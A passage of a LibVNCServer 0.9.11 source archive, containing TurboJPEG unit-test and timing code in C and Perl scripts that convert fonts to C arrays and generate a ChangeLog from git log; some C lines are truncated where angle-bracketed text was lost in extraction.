for(i=maxqual; i>=minqual; i--) dotest(srcbuf, w, h, TJ_422, i, argv[1]); printf("\n"); for(i=maxqual; i>=minqual; i--) dotest(srcbuf, w, h, TJ_444, i, argv[1]); printf("\n"); bailout: if(srcbuf) free(srcbuf); return retval; } libvncserver-LibVNCServer-0.9.11/test/tjunittest.c000066400000000000000000000277441303145525000221240ustar00rootroot00000000000000/* * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the libjpeg-turbo Project nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * This program tests the various code paths in the TurboJPEG C Wrapper */ #include #include #include #include #include "./tjutil.h" #include "./turbojpeg.h" #ifdef _WIN32 #include #define random() rand() #endif #define _throwtj() {printf("TurboJPEG ERROR:\n%s\n", tjGetErrorStr()); \ bailout();} #define _tj(f) {if((f)==-1) _throwtj();} #define _throw(m) {printf("ERROR: %s\n", m); bailout();} const char *subNameLong[TJ_NUMSAMP]= { "4:4:4", "4:2:2", "4:2:0", "GRAY", "4:4:0" }; const char *subName[TJ_NUMSAMP]={"444", "422", "420", "GRAY", "440"}; const char *pixFormatStr[TJ_NUMPF]= { "RGB", "BGR", "RGBX", "BGRX", "XBGR", "XRGB", "Grayscale", "RGBA", "BGRA", "ABGR", "ARGB" }; const int alphaOffset[TJ_NUMPF] = {-1, -1, -1, -1, -1, -1, -1, 3, 3, 0, 0}; const int _3byteFormats[]={TJPF_RGB, TJPF_BGR}; const int _4byteFormats[]={TJPF_RGBX, TJPF_BGRX, TJPF_XBGR, TJPF_XRGB}; const int _onlyGray[]={TJPF_GRAY}; const int _onlyRGB[]={TJPF_RGB}; int exitStatus=0; #define bailout() {exitStatus=-1; goto bailout;} void initBuf(unsigned char *buf, int w, int h, int pf, int flags) { int roffset=tjRedOffset[pf]; int goffset=tjGreenOffset[pf]; int boffset=tjBlueOffset[pf]; int ps=tjPixelSize[pf]; int index, row, col, halfway=16; memset(buf, 0, w*h*ps); if(pf==TJPF_GRAY) { for(row=0; row=halfway) buf[index*ps+goffset]=255; } } } } } #define checkval(v, cv) { \ if(vcv+1) { \ printf("\nComp. %s at %d,%d should be %d, not %d\n", \ #v, row, col, cv, v); \ retval=0; exitStatus=-1; goto bailout; \ }} #define checkval0(v) { \ if(v>1) { \ printf("\nComp. %s at %d,%d should be 0, not %d\n", #v, row, col, v); \ retval=0; exitStatus=-1; goto bailout; \ }} #define checkval255(v) { \ if(v<254) { \ printf("\nComp. %s at %d,%d should be 255, not %d\n", #v, row, col, v); \ retval=0; exitStatus=-1; goto bailout; \ }} int checkBuf(unsigned char *buf, int w, int h, int pf, int subsamp, tjscalingfactor sf, int flags) { int roffset=tjRedOffset[pf]; int goffset=tjGreenOffset[pf]; int boffset=tjBlueOffset[pf]; int aoffset=alphaOffset[pf]; int ps=tjPixelSize[pf]; int index, row, col, retval=1; int halfway=16*sf.num/sf.denom; int blocksize=8*sf.num/sf.denom; for(row=0; row=0? buf[index*ps+aoffset]:0xFF; if(((row/blocksize)+(col/blocksize))%2==0) { if(row %s Q%d ... ", pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "Bottom-Up":"Top-Down ", subNameLong[subsamp], jpegQual); if((srcBuf=(unsigned char *)malloc(w*h*tjPixelSize[pf]))==NULL) _throw("Memory allocation failure"); initBuf(srcBuf, w, h, pf, flags); if(*dstBuf && *dstSize>0) memset(*dstBuf, 0, *dstSize); t=gettime(); *dstSize=tjBufSize(w, h, subsamp); _tj(tjCompress2(handle, srcBuf, w, 0, h, pf, dstBuf, dstSize, subsamp, jpegQual, flags)); t=gettime()-t; snprintf(tempStr, 1024, "%s_enc_%s_%s_%s_Q%d.jpg", basename, pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "BU":"TD", subName[subsamp], jpegQual); writeJPEG(*dstBuf, *dstSize, tempStr); printf("Done."); printf(" %f ms\n Result in %s\n", t*1000., tempStr); bailout: if(srcBuf) free(srcBuf); } void _decompTest(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int w, int h, int pf, char *basename, int subsamp, int flags, tjscalingfactor sf) { unsigned char *dstBuf=NULL; int _hdrw=0, _hdrh=0, _hdrsubsamp=-1; double t; int scaledWidth=TJSCALED(w, sf); int scaledHeight=TJSCALED(h, sf); unsigned long dstSize=0; printf("JPEG -> %s %s ", pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "Bottom-Up":"Top-Down "); if(sf.num!=1 || sf.denom!=1) printf("%d/%d ... ", sf.num, sf.denom); else printf("... "); _tj(tjDecompressHeader2(handle, jpegBuf, jpegSize, &_hdrw, &_hdrh, &_hdrsubsamp)); if(_hdrw!=w || _hdrh!=h || _hdrsubsamp!=subsamp) _throw("Incorrect JPEG header"); dstSize=scaledWidth*scaledHeight*tjPixelSize[pf]; if((dstBuf=(unsigned char *)malloc(dstSize))==NULL) _throw("Memory allocation failure"); memset(dstBuf, 0, dstSize); t=gettime(); _tj(tjDecompress2(handle, jpegBuf, jpegSize, dstBuf, scaledWidth, 0, scaledHeight, pf, flags)); t=gettime()-t; if(checkBuf(dstBuf, scaledWidth, scaledHeight, pf, subsamp, sf, flags)) printf("Passed."); else printf("FAILED!"); printf(" %f ms\n", t*1000.); bailout: if(dstBuf) free(dstBuf); } void decompTest(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int w, int h, int pf, char *basename, int subsamp, int flags) { int i, n=0; tjscalingfactor *sf=tjGetScalingFactors(&n), sf1={1, 1}; if(!sf || !n) _throwtj(); if((subsamp==TJSAMP_444 || subsamp==TJSAMP_GRAY)) { for(i=0; i=TJPF_RGBX && pf<=TJPF_XRGB) decompTest(dhandle, dstBuf, size, w, h, pf+(TJPF_RGBA-TJPF_RGBX), basename, subsamp, flags); } } bailout: if(chandle) tjDestroy(chandle); if(dhandle) tjDestroy(dhandle); if(dstBuf) free(dstBuf); } void bufSizeTest(void) { int w, h, i, subsamp; unsigned char *srcBuf=NULL, *jpegBuf=NULL; tjhandle handle=NULL; unsigned long jpegSize=0; if((handle=tjInitCompress())==NULL) _throwtj(); printf("Buffer size regression test\n"); for(subsamp=0; subsamp static double getfreq(void) { LARGE_INTEGER freq; if(!QueryPerformanceFrequency(&freq)) return 0.0; return (double)freq.QuadPart; } static double f=-1.0; double gettime(void) { LARGE_INTEGER t; if(f<0.0) f=getfreq(); if(f==0.0) return (double)GetTickCount()/1000.; else { QueryPerformanceCounter(&t); return (double)t.QuadPart/f; } } #else #include #include double gettime(void) { struct timeval tv; if(gettimeofday(&tv, NULL)<0) return 0.0; else return (double)tv.tv_sec+((double)tv.tv_usec/1000000.); } #endif libvncserver-LibVNCServer-0.9.11/test/tjutil.h000066400000000000000000000036341303145525000212170ustar00rootroot00000000000000/* * Copyright (C)2011 D. R. Commander. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the libjpeg-turbo Project nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifdef _WIN32 #ifndef __MINGW32__ #include #define snprintf(str, n, format, ...) \ _snprintf_s(str, n, _TRUNCATE, format, __VA_ARGS__) #endif #define strcasecmp stricmp #define strncasecmp strnicmp #endif #ifndef min #define min(a,b) ((a)<(b)?(a):(b)) #endif #ifndef max #define max(a,b) ((a)>(b)?(a):(b)) #endif extern double gettime(void); libvncserver-LibVNCServer-0.9.11/utils/000077500000000000000000000000001303145525000177065ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/utils/bdf2c.pl000077500000000000000000000025231303145525000212300ustar00rootroot00000000000000#!/usr/bin/perl @encodings=(); for($i=0;$i<256*5;$i++) { $encodings[$i]="0"; } $out=""; $counter=0; $fontname="default"; $i=0; $searchfor=""; $nullx="0x"; while(<>) { if(/^FONT (.*)$/) { $fontname=$1; $fontname=~y/\"//d; } elsif(/^ENCODING (.*)$/) { $glyphindex=$1; $searchfor="BBX"; $dwidth=0; } elsif(/^DWIDTH (.*) (.*)/) { $dwidth=$1; } elsif(/^BBX (.*) (.*) (.*) (.*)$/) { ($width,$height,$x,$y)=($1,$2,$3,$4); @encodings[$glyphindex*5..($glyphindex*5+4)]=($counter,$width,$height,$x,$y); if($dwidth != 0) { $encodings[$glyphindex*5+1]=$dwidth; } else { $dwidth=$width; } $searchfor="BITMAP"; } elsif(/^BITMAP/) { $i=1; } elsif($i>0) { if($i>$height) { $i=0; $out.=" /* $glyphindex */\n"; } else { if(int(($dwidth+7)/8) > int(($width+7)/8)) { $_ .= "00"x(int(($dwidth+7)/8)-int(($width+7)/8)); } $_=substr($_,0,(int(($dwidth+7)/8)*2)); $counter+=(int(($dwidth+7)/8)); s/(..)/$nullx$1,/g; $out.=$_; $i++; } } } print "unsigned char " . $fontname . "FontData[$counter]={\n" . $out; print "};\nint " . $fontname . "FontMetaData[256*5]={\n"; for($i=0;$i<256*5;$i++) { print $encodings[$i] . ","; } print "};\nrfbFontData " . $fontname . "Font={" . $fontname . "FontData, " . $fontname . "FontMetaData};\n"; libvncserver-LibVNCServer-0.9.11/utils/consolefont2c.pl000077500000000000000000000015221303145525000230240ustar00rootroot00000000000000#!/usr/bin/perl # convert a linux console font (8x16 format) to a font definition # suitable for processing with LibVNCServer #if($#ARGV == 0) { exit; } foreach $i (@ARGV) { $fontname = $i; $fontname =~ s/\.fnt$//; $fontname =~ s/^.*\///g; $fontname =~ y/+/_/; print STDERR "$i -> $fontname\n"; open IN, "<$i"; print STDERR read(IN,$x,4096); close(IN); open OUT, ">$fontname.h"; print OUT "unsigned char ".$fontname."FontData[4096+1]={"; for($i=0;$i<4096;$i++) { if(($i%16)==0) { print OUT "\n"; } printf OUT "0x%02x,", ord(substr($x,$i)); } print OUT "\n};\nint ".$fontname."FontMetaData[256*5+1]={\n"; for($i=0;$i<256;$i++) { print OUT ($i*16).",8,16,0,0,"; } print OUT "};\nrfbFontData ".$fontname."Font = { ".$fontname."FontData, " .$fontname."FontMetaData };\n"; close OUT; } libvncserver-LibVNCServer-0.9.11/utils/git2cl.pl000077500000000000000000000246631303145525000214450ustar00rootroot00000000000000#!/usr/bin/perl # Copyright (C) 2007, 2008 Simon Josefsson # Copyright (C) 2007 Luis Mondesi # * calls git directly. To use it just: # cd ~/Project/my_git_repo; git2cl > ChangeLog # * implements strptime() # * fixes bugs in $comment parsing # - copy input before we remove leading spaces # - skip "merge branch" statements as they don't # have information about files (i.e. we never # go into $state 2) # - behaves like a pipe/filter if input is given from the CLI # else it calls git log by itself # # The functions mywrap, last_line_len, wrap_log_entry are derived from # the cvs2cl tool, see : # Copyright (C) 2001,2002,2003,2004 Martyn J. Pearce # Copyright (C) 1999 Karl Fogel # # git2cl is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # git2cl is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with git2cl; see the file COPYING. If not, write to the Free # Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # 02111-1307, USA. use strict; use POSIX qw(strftime); use Text::Wrap qw(wrap); use FileHandle; use constant EMPTY_LOG_MESSAGE => '*** empty log message ***'; # this is a helper hash for stptime. # Assumes you are calling 'git log ...' with LC_ALL=C my %month = ( 'Jan'=>0, 'Feb'=>1, 'Mar'=>2, 'Apr'=>3, 'May'=>4, 'Jun'=>5, 'Jul'=>6, 'Aug'=>7, 'Sep'=>8, 'Oct'=>9, 'Nov'=>10, 'Dec'=>11, ); my $fh = new FileHandle; sub key_ready { my ($rin, $nfd); vec($rin, fileno(STDIN), 1) = 1; return $nfd = select($rin, undef, undef, 0); } sub strptime { my $str = shift; return undef if not defined $str; # we are parsing this format # Fri Oct 26 00:42:56 2007 -0400 # to these fields # sec, min, hour, mday, mon, year, wday = -1, yday = -1, isdst = -1 # Luis Mondesi my @date; if ($str =~ /([[:alpha:]]{3})\s+([[:alpha:]]{3})\s+([[:digit:]]{1,2})\s+([[:digit:]]{1,2}):([[:digit:]]{1,2}):([[:digit:]]{1,2})\s+([[:digit:]]{4})/){ push(@date,$6,$5,$4,$3,$month{$2},($7 - 1900),-1,-1,-1); } else { die ("Cannot parse date '$str'\n'"); } return @date; } sub mywrap { my ($indent1, $indent2, @text) = @_; # If incoming text looks preformatted, don't get clever my $text = Text::Wrap::wrap($indent1, $indent2, @text); if ( grep /^\s+/m, @text ) { return $text; } my @lines = split /\n/, $text; $indent2 =~ s!^((?: {8})+)!"\t" x (length($1)/8)!e; $lines[0] =~ s/^$indent1\s+/$indent1/; s/^$indent2\s+/$indent2/ for @lines[1..$#lines]; my $newtext = join "\n", @lines; $newtext .= "\n" if substr($text, -1) eq "\n"; return $newtext; } sub last_line_len { my $files_list = shift; my @lines = split (/\n/, $files_list); my $last_line = pop (@lines); return length ($last_line); } # A custom wrap function, sensitive to some common constructs used in # log entries. sub wrap_log_entry { my $text = shift; # The text to wrap. my $left_pad_str = shift; # String to pad with on the left. # These do NOT take left_pad_str into account: my $length_remaining = shift; # Amount left on current line. my $max_line_length = shift; # Amount left for a blank line. my $wrapped_text = ''; # The accumulating wrapped entry. my $user_indent = ''; # Inherited user_indent from prev line. my $first_time = 1; # First iteration of the loop? my $suppress_line_start_match = 0; # Set to disable line start checks. my @lines = split (/\n/, $text); while (@lines) # Don't use `foreach' here, it won't work. { my $this_line = shift (@lines); chomp $this_line; if ($this_line =~ /^(\s+)/) { $user_indent = $1; } else { $user_indent = ''; } # If it matches any of the line-start regexps, print a newline now... if ($suppress_line_start_match) { $suppress_line_start_match = 0; } elsif (($this_line =~ /^(\s*)\*\s+[a-zA-Z0-9]/) || ($this_line =~ /^(\s*)\* [a-zA-Z0-9_\.\/\+-]+/) || ($this_line =~ /^(\s*)\([a-zA-Z0-9_\.\/\+-]+(\)|,\s*)/) || ($this_line =~ /^(\s+)(\S+)/) || ($this_line =~ /^(\s*)- +/) || ($this_line =~ /^()\s*$/) || ($this_line =~ /^(\s*)\*\) +/) || ($this_line =~ /^(\s*)[a-zA-Z0-9](\)|\.|\:) +/)) { $length_remaining = $max_line_length - (length ($user_indent)); } # Now that any user_indent has been preserved, strip off leading # whitespace, so up-folding has no ugly side-effects. $this_line =~ s/^\s*//; # Accumulate the line, and adjust parameters for next line. my $this_len = length ($this_line); if ($this_len == 0) { # Blank lines should cancel any user_indent level. $user_indent = ''; $length_remaining = $max_line_length; } elsif ($this_len >= $length_remaining) # Line too long, try breaking it. { # Walk backwards from the end. At first acceptable spot, break # a new line. my $idx = $length_remaining - 1; if ($idx < 0) { $idx = 0 }; while ($idx > 0) { if (substr ($this_line, $idx, 1) =~ /\s/) { my $line_now = substr ($this_line, 0, $idx); my $next_line = substr ($this_line, $idx); $this_line = $line_now; # Clean whitespace off the end. chomp $this_line; # The current line is ready to be printed. $this_line .= "\n${left_pad_str}"; # Make sure the next line is allowed full room. $length_remaining = $max_line_length - (length ($user_indent)); # Strip next_line, but then preserve any user_indent. $next_line =~ s/^\s*//; # Sneak a peek at the user_indent of the upcoming line, so # $next_line (which will now precede it) can inherit that # indent level. Otherwise, use whatever user_indent level # we currently have, which might be none. my $next_next_line = shift (@lines); if ((defined ($next_next_line)) && ($next_next_line =~ /^(\s+)/)) { $next_line = $1 . $next_line if (defined ($1)); # $length_remaining = $max_line_length - (length ($1)); $next_next_line =~ s/^\s*//; } else { $next_line = $user_indent . $next_line; } if (defined ($next_next_line)) { unshift (@lines, $next_next_line); } unshift (@lines, $next_line); # Our new next line might, coincidentally, begin with one of # the line-start regexps, so we temporarily turn off # sensitivity to that until we're past the line. $suppress_line_start_match = 1; last; } else { $idx--; } } if ($idx == 0) { # We bottomed out because the line is longer than the # available space. But that could be because the space is # small, or because the line is longer than even the maximum # possible space. Handle both cases below. if ($length_remaining == ($max_line_length - (length ($user_indent)))) { # The line is simply too long -- there is no hope of ever # breaking it nicely, so just insert it verbatim, with # appropriate padding. $this_line = "\n${left_pad_str}${this_line}"; } else { # Can't break it here, but may be able to on the next round... unshift (@lines, $this_line); $length_remaining = $max_line_length - (length ($user_indent)); $this_line = "\n${left_pad_str}"; } } } else # $this_len < $length_remaining, so tack on what we can. { # Leave a note for the next iteration. $length_remaining = $length_remaining - $this_len; if ($this_line =~ /\.$/) { $this_line .= " "; $length_remaining -= 2; } else # not a sentence end { $this_line .= " "; $length_remaining -= 1; } } # Unconditionally indicate that loop has run at least once. $first_time = 0; $wrapped_text .= "${user_indent}${this_line}"; } # One last bit of padding. $wrapped_text .= "\n"; return $wrapped_text; } # main my @date; my $author; my @files; my $comment; my $state; # 0-header 1-comment 2-files my $done = 0; $state = 0; # if reading from STDIN, we assume that we are # getting git log as input if (key_ready()) { #my $dummyfh; # don't care about writing #($fh,$dummyfh) = FileHandle::pipe; $fh->fdopen(*STDIN, 'r'); } else { $fh->open("LC_ALL=C git log --pretty --numstat --summary|") or die("Cannot execute git log...$!\n"); } while (my $_l = <$fh>) { #print STDERR "debug ($state, " . (@date ? (strftime "%Y-%m-%d", @date) : "") . "): `$_'\n"; if ($state == 0) { if ($_l =~ m,^Author: (.*),) { $author = $1; } if ($_l =~ m,^Date: (.*),) { @date = strptime($1); } $state = 1 if ($_l =~ m,^$, and $author and (@date+0>0)); } elsif ($state == 1) { # * modifying our input text is a bad choice # let's make a copy of it first, then we remove spaces # * if we meet a "merge branch" statement, we need to start # over and find a real entry # Luis Mondesi my $_s = $_l; $_s =~ s/^ //g; if ($_s =~ m/^Merge branch|^Merge remote branch/) { $state=0; $author=0; next; } $comment = $comment . $_s; $state = 2 if ($_l =~ m,^$,); } elsif ($state == 2) { if ($_l =~ m,^([0-9]+)\t([0-9]+)\t(.*)$,) { push @files, $3; } $done = 1 if ($_l =~ m,^$,); } if ($done) { print (strftime "%Y-%m-%d $author\n\n", @date); my $files = join (", ", @files); $files = mywrap ("\t", "\t", "* $files"), ": "; if (index($comment, EMPTY_LOG_MESSAGE) > -1 ) { $comment = "[no log message]\n"; } my $files_last_line_len = 0; $files_last_line_len = last_line_len($files) + 1; my $msg = wrap_log_entry($comment, "\t", 69-$files_last_line_len, 69); $msg =~ s/[ \t]+\n/\n/g; print "$files: $msg\n"; @date = (); $author = ""; @files = (); $comment = ""; $state = 0; $done = 0; } } if (@date + 0) { print (strftime "%Y-%m-%d $author\n\n", @date); my $msg = wrap_log_entry($comment, "\t", 69, 69); $msg =~ s/[ \t]+\n/\n/g; print "\t* $msg\n"; }